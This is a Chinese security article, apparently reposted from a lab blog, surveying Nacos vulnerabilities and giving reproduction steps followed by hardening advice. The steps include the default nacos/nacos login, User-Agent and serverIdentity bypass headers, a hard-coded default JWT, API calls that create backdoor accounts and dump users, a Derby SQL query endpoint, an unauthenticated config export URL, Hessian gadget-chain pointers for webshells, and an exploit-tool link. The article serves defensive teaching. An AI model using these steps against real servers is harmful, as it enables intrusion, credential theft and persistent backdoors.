文章总结: 本文梳理Nacos常见漏洞如默认口令、SQL注入、权限绕过及反序列化,并提供复现步骤。针对风险给出修改默认密码、开启鉴权、升级版本等实战建议,旨在帮助安全团队构建防御体系,提升攻防演练与应急响应能力。 综合评分: 89 文章分类: 漏洞分析,渗透测试,红队,WEB安全
Nacos漏洞攻防实战笔记
Red dog
鹭信网安攻防实验室
2025年12月29日 14:40 福建
Nacos 是云原生环境中重要的服务发现和配置管理平台。由于其关键地位,成为攻击者重点盯防的目标。本文整理了典型漏洞及对应的攻防要点,便于安全团队在演练和应急响应中快速使用。
#
#
一、Nacos 核心功能与常见暴露风险
Nacos 默认监听 8848 端口(控制台及 API)、7848 端口(集群 Raft 协议通信)。
主要功能:
-
服务发现
:服务实例注册、心跳、健康检查,支持 AP/CP 模式。
-
配置管理
:中心化存储配置,支持动态推送、版本回滚、灰度发布。
常见部署痛点:
- 未开启鉴权(nacos.core.auth.enabled=false)。
- 默认弱口令(早期版本 nacos/nacos)。
- 控制台或 7848 端口暴露公网。
- 未及时升级,导致历史漏洞残留。
以下是 Nacos 控制台登录页面示例(默认路径 /nacos):
成功登录后,可进入配置管理和服务列表界面,导出敏感配置或查看全网服务实例。
二、漏洞汇总
| 序号 | 漏洞名称 | 漏洞描述 | 影响版本范围 | 防护建议 |
| — | — | — | — | — |
| 1 | Nacos 默认口令漏洞 | 默认账号密码为 nacos/nacos | 1.0.0 ~ 1.3.x | 修改默认密码,启用强密码策略 |
| 2 | Nacos Derby SQL 注入漏洞 | 内置 Derby 数据库存在 SQL 注入漏洞,可能导致数据泄露或篡改 | 1.0.0 ~ 1.2.1 | 升级数据库版本,使用参数化查询,过滤输入 |
| 3 | Nacos 未授权访问漏洞 | 管理接口权限控制不严格,攻击者可绕过认证访问敏感接口 | 1.0.0 ~ 1.3.2 | 启用权限认证,限制管理接口访问IP |
| 4 | Nacos User-Agent 权限绕过漏洞 | 依赖 User-Agent 做访问限制,攻击者可伪造绕过权限 | 1.0.0 ~ 1.3.4 | 完善访问控制策略,不依赖单一 User-Agent |
| 5 | Nacos serverIdentity 权限绕过漏洞 | 默认 serverIdentity 配置未加固,可能被伪造身份或绕过接口 | 1.0.0 ~ 1.4.0 | 修改默认配置,开启严格身份校验 |
| 6 | Nacos token.secret.key 默认配置漏洞 | 默认 Token 密钥未更改,攻击者可伪造有效 Token 进行认证绕过 | 1.0.0 ~ 1.4.1 | 更换默认密钥,定期更新密钥 |
| 7 | Nacos JRaft Hessian 反序列化漏洞 | JRaft Hessian 序列化存在漏洞,攻击者可远程执行代码 | 1.2.0 ~ 1.4.1 | 升级版本,禁用不安全反序列化,使用白名单 |
| 8 | Nacos 未授权配置文件下载漏洞 | Nacos管理控制台中的配置文件下载接口缺少有效的权限验证 | 1.2.0 ~ 1.4.1 | 加强文件权限控制,升级补丁 |
三、漏洞复现
1.Nacos 默认口令漏洞
-
利用条件:
控制台暴露,未修改默认密码
-
步骤:
- 访问 http://:8848/nacos
- 用户名/密码:nacos/nacos 登录
- 进入“配置管理”导出所有命名空间配置,grep 关键词:password、secret、jdbc、redis、key
- 进入“服务管理”查看全网服务实例 IP/端口
-
后续:
利用提取的凭证横向渗透数据库、Redis 等组件
2.权限绕过系列(未授权/弱鉴权核心突破点)
常见绕过方式(多版本兼容):
-
User-Agent 绕过:
-
请求头添加 User-Agent: Nacos-Server
*** *serverIdentity 绕过:*
-
请求头添加 serverIdentity: security*默认 Token 绕过: + 默认Token*:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q
-
POST/v1/auth/users/?username={{randstr_1}}&password={{randstr_2}}&accessToken={{token}} 添加账户
-
GET /v1/auth/users?pageNo=1&pageSize=9&search=blur&accessToken={{token}} 获取用户列表**
未授权直接访问(部分旧版可直接访问以下接口):
-
GET /v1/auth/users?pageNo=1&pageSize=9&search=blur 获取用户列表
-
POST/v1/auth/users/?username={{randstr_1}}&password={{randstr_2}}
添加账号
组合拳:弱口令失败 → 多方式绕过尝试 → 添加后门账号 → 登录控制台提取信息
3.Derby SQL 注入(旧版信息泄露)
-
漏洞利用:
-
POST /nacos/v1/cs/ops/derby
-
参数 sql=SELECT * FROM users 等执行查询泄露用户哈希
附上自动化工具
4.Nacos未授权下载配置文件
-
漏洞利用:
-
GET/v1/cs/configs?export=true&group=&tenant=&appName=&ids=&dataId=
5.JRaft Hessian 反序列化漏洞(集群模式)
-
端口:
7848(Raft 通信)
-
Hessian 反序列化 RCE:
-
使用公开 EXP(marshalsec 或专用工具)构造 Hessian payload
-
注入 TemplatesImpl、JNDI 等 gadget 链,实现内存马或命令执行
-
任意文件读写:
-
通过 Raft 协议构造请求操作未限制路径,可读配置数据库文件或写 webshell
-
注意:
利用后可能导致节点异常,建议低频操作
建议使用自动化工具
工具下载地址:https://github.com/h0ny/NacosExploit
四、实战防护建议
- 立即更改默认账号密码 这是最基础也是最关键的安全措施,杜绝“低级”入侵。
- 升级Nacos到最新稳定版本 官方已修复大部分漏洞,升级是根本保障。
- 强化访问控制
- 启用权限认证,限制管理接口访问IP白名单。
- 不依赖单一User-Agent做权限判断。
- 配置严格的serverIdentity校验。
- 密钥管理
- 更换默认的token.secret.key,定期轮换。
- 加强密钥存储和访问安全。
- 防止反序列化攻击
- 禁用不安全的序列化方式。
- 使用安全库和白名单机制。
- 结合WAF等安全设备进行流量检测。
- 数据库安全
- 升级数据库版本,避免已知SQL注入漏洞。
- 使用参数化查询,过滤输入。
- 文件权限与系统安全
- 限制文件读写权限。
- 监控异常文件操作行为。
总结
Nacos作为微服务生态的重要基石,其安全性直接关系到整个系统的稳定与数据安全。通过本文的漏洞剖析与防护建议,希望能够帮助安全团队构建起全面的Nacos攻防防线,在攻防演练中发挥关键作用,提升整体安全水平。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:鹭信网安攻防实验室 Red dog《Nacos漏洞攻防实战笔记》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论